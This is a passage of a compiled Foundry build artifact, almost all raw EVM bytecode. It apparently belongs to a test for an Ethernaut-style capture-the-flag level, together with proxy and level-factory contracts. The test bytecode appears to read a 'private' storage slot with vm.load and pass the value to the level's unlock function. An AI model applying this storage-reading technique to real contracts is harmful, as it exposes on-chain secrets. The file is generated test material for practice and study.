06100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212200ab22e23013cb85803f3204394bed4c6aa51d2f5cd883b2a1851dc0231ad35b464736f6c63430008180033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;336:1612:142;420:32:154;259:12:155;336:1612:142;420:32:154;410:43;382:71;;336:1612:142;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b7e565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001bc1565b620001b3620001fa36600462001cad565b62000a2b565b6200020a62000bf6565b604051620001c7919062001d80565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001e43565b620001da6200025736600462001f10565b62000ef8565b6200019a62001088565b6200027162001242565b604051620001c7919062001f28565b620001b36200029136600462001f8e565b62001317565b6200023762001436565b620002b8620002b236600462001fac565b62001530565b6040519015158152602001620001c7565b62000271620016c0565b6200019a62001795565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b86200182e565b620001da620018e9565b6200019a6200032f36600462001f10565b62001949565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f8151811062000367576200036762001fe8565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001fe8565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b0316905062001317565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b31565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f919081019062002089565b9050806001825162000982919062002219565b8151811062000995576200099562001fe8565b60200260200101515f0151600281518110620009b557620009b562001fe8565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab491908101906200222f565b90505f81848560405160200162000acd92919062002281565b60408051601f198184030181529082905262000aed92916020016200232f565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5190859060040162002361565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9591908101906200222f565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a6563740000000000000000000000000000000081525083620019bd90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b9062002375565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb99062002375565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001c0f565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb49190620023af565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f62001fe8565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b5050602154604051630667f9d760e41b81526001600160a01b039091166004820152600560248201525f9250737109709ecfa91a80626ff3989d68f67f5b1dd12d915063667f9d7090604401602060405180830381865afa1580156200115a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620011809190620023cd565b6021546040517fe1afb08c0000000000000000000000000000000000000000000000000000000081527fffffffffffffffffffffffffffffffff00000000000000000000000000000000831660048201529192506001600160a01b03169063e1afb08c906024015f604051808303815f87803b158015620011ff575f80fd5b505af115801562001212573d5f803e3d5ffd5b50506020546021546200123f93506200123992506001600160a01b03918216911662001530565b62001a5f565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620012859062002375565b80601f0160208091040260200160405190810160405280929190818152602001828054620012b39062002375565b8015620013025780601f10620012d85761010080835404028352916020019162001302565b820191905f5260205f20905b815481529060010190602001808311620012e457829003601f168201915b50505050508152602001906001019062001265565b5f80604051620013279062001b3f565b604051809103905ff08015801562001341573d5f803e3d5ffd5b5090505f604051620013539062001b4d565b604051809103905ff0801580156200136d573d5f803e3d5ffd5b5084836040516200137e9062001b5b565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff080158015620013b8573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562001417575f80fd5b505af11580156200142a573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200151757602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014c35790505b5050505050815250508152602001906001019062001459565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200158c575f80fd5b505af11580156200159f573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620015fd575f80fd5b505af115801562001610573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562001674573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200169d919081019062002089565b9050600181511115620016b5576001915050620016ba565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620017039062002375565b80601f0160208091040260200160405190810160405280929190818152602001828054620017319062002375565b8015620017805780601f10620017565761010080835404028352916020019162001780565b820191905f5260205f20905b8154815290600101906020018083116200176257829003601f168201915b505050505081526020019060010190620016e3565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620017ec575f80fd5b505af1158015620017ff573d5f803e3d5ffd5b50506020546021546200182c93506200182692506001600160a01b03918216911662001530565b62001ade565b565b6008545f9060ff161562001846575060085460ff1690565b604051630667f9d760e41b8152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620018bc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018e29190620023cd565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f620019568243620023e5565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a149086908690600401620023fb565b5f60405180830381865afa15801562001a2f573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a5891908101906200242c565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001ac4575f80fd5b505afa15801562001ad7573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001aad565b610829806200246383390190565b610ae58062002c8c83390190565b611e7a806200377183390190565b610daa80620055eb83390190565b6001600160a01b03811681146200123f575f80fd5b5f805f6060848603121562001b91575f80fd5b833562001b9e8162001b69565b9250602084013562001bb08162001b69565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001c035783516001600160a01b03168352928401929184019160010162001bdc565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c495762001c4962001c0f565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c7b5762001c7b62001c0f565b604052919050565b5f67ffffffffffffffff82111562001c9f5762001c9f62001c0f565b50601f01601f191660200190565b5f6020828403121562001cbe575f80fd5b813567ffffffffffffffff81111562001cd5575f80fd5b8201601f8101841362001ce6575f80fd5b803562001cfd62001cf78262001c83565b62001c4f565b81815285602083850101111562001d12575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d4b57818101518382015260200162001d31565b50505f910152565b5f815180845262001d6c81602086016020860162001d2f565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e3457603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e1d57605f1988850301835262001e0a84865162001d53565b948d01949350918c019160010162001deb565b505050968901969350509087019060010162001da5565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001f0257888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001eec5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001ea8565b5096890196945050509086019060010162001e6a565b509098975050505050505050565b5f6020828403121562001f21575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f8157603f1988860301845262001f6e85835162001d53565b9450928501929085019060010162001f4f565b5092979650505050505050565b5f6020828403121562001f9f575f80fd5b813562001a588162001b69565b5f806040838503121562001fbe575f80fd5b823562001fcb8162001b69565b9150602083013562001fdd8162001b69565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562002018576200201862001c0f565b5060051b60200190565b5f6200203262001cf78462001c83565b905082815283838301111562002046575f80fd5b62001a5883602083018462001d2f565b5f82601f83011262002066575f80fd5b62001a588383516020850162002022565b8051620020848162001b69565b919050565b5f60208083850312156200209b575f80fd5b825167ffffffffffffffff80821115620020b3575f80fd5b818501915085601f830112620020c7575f80fd5b8151620020d862001cf78262001ffc565b81815260059190911b83018401908481019088831115620020f7575f80fd5b8585015b83811015620021f85780518581111562002113575f80fd5b86016060818c03601f1901121562002129575f80fd5b6200213362001c23565b888201518781111562002144575f80fd5b8201603f81018d1362002155575f80fd5b898101516200216862001cf78262001ffc565b81815260059190911b8201604001908b8101908f83111562002188575f80fd5b6040840193505b82841015620021aa5783518252928c0192908c01906200218f565b8452505050604082015187811115620021c1575f80fd5b620021d18d8b8386010162002056565b8a83015250620021e46060830162002077565b6040820152845250918601918601620020fb565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016ba57620016ba62002205565b5f6020828403121562002240575f80fd5b815167ffffffffffffffff81111562002257575f80fd5b8201601f8101841362002268575f80fd5b620022798482516020840162002022565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022ba81600585016020880162001d2f565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022f981600a84016020880162001d2f565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200234281846020880162001d2f565b8351908301906200235881836020880162001d2f565b01949350505050565b602081525f62001a58602083018462001d53565b600181811c908216806200238a57607f821691505b602082108103620023a957634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620023c0575f80fd5b815162001a588162001b69565b5f60208284031215620023de575f80fd5b5051919050565b80820180821115620016ba57620016ba62002205565b604081525f6200240f604083018562001d53565b828103602084015262002423818562001d53565b95945050505050565b5f602082840312156200243d575f80fd5b815167ffffffffffffffff81111562002454575f80fd5b62002279848285016200205656fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6107af8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610459565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d836600461047b565b610257565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610459565b6102c5565b61011461035a565b61011d5f6103b3565b565b5f61012861041a565b604080513260601b6bffffffffffffffffffffffff191660208083018290527f3000000000000000000000000000000000000000000000000000000000000000603480850191909152845160158186038101825260359586018752815191840191909120875285518084018590527f3100000000000000000000000000000000000000000000000000000000000000818401528651808203830181529086018752805190840120878401528551808401949094527f32000000000000000000000000000000000000000000000000000000000000009184019190915284518084039091018152919092018352805191012082820152515f90829061022b90610438565b61023591906104b2565b604051809103905ff08015801561024e573d5f803e3d5ffd5b50949350505050565b5f80839050806001600160a01b031663cf3090126040518163ffffffff1660e01b8152600401602060405180830381865afa158015610298573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102bc91906104e2565b15949350505050565b6102cd61035a565b6001600160a01b03811661034e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610357816103b3565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610345565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60405180606001604052806003906020820280368337509192915050565b6102788061050283390190565b6001600160a01b0381168114610357575f80fd5b5f60208284031215610469575f80fd5b813561047481610445565b9392505050565b5f806040838503121561048c575f80fd5b823561049781610445565b915060208301356104a781610445565b809150509250929050565b6060810181835f5b60038110156104d95781518352602092830192909101906001016104ba565b50505092915050565b5f602082840312156104f2575f80fd5b81518015158114610474575f80fdfe60806040525f805460ff1916600190811790915542908190556002805461ffff909216620100000263ffffffff199092169190911761ff0a179055348015610045575f80fd5b50604051610278380380610278833981016040819052610064916100c9565b61007060038281610077565b505061014e565b82600381019282156100a5579160200282015b828111156100a557825182559160200191906001019061008a565b506100b19291506100b5565b5090565b5b808211156100b1575f81556001016100b6565b5f606082840312156100d9575f80fd5b82601f8301126100e7575f80fd5b604051606081016001600160401b038111828210171561011557634e487b7160e01b5f52604160045260245ffd5b604052806060840185811115610129575f80fd5b845b8181101561014357805183526020928301920161012b565b509195945050505050565b61011d8061015b5f395ff3fe6080604052348015600e575f80fd5b5060043610603a575f3560e01c8063b3cea21714603e578063cf309012146059578063e1afb08c146073575b5f80fd5b604660015481565b6040519081526020015b60405180910390f35b5f5460649060ff1681565b60405190151581526020016050565b6082607e36600460b2565b6084565b005b6005546fffffffffffffffffffffffffffffffff1982811691161460a6575f80fd5b505f805460ff19169055565b5f6020828403121560c1575f80fd5b81356fffffffffffffffffffffffffffffffff198116811460e0575f80fd5b939250505056fea264697066735822122005dc573695018ff580f1507a5cdd3821a9d0483d25519b017b200ef6783342e164736f6c63430008180033a26469706673582212201654f9a245419f6c19e7b2c03c962cf3894eac47a4474813bcbf0ecb49eb92c264736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80f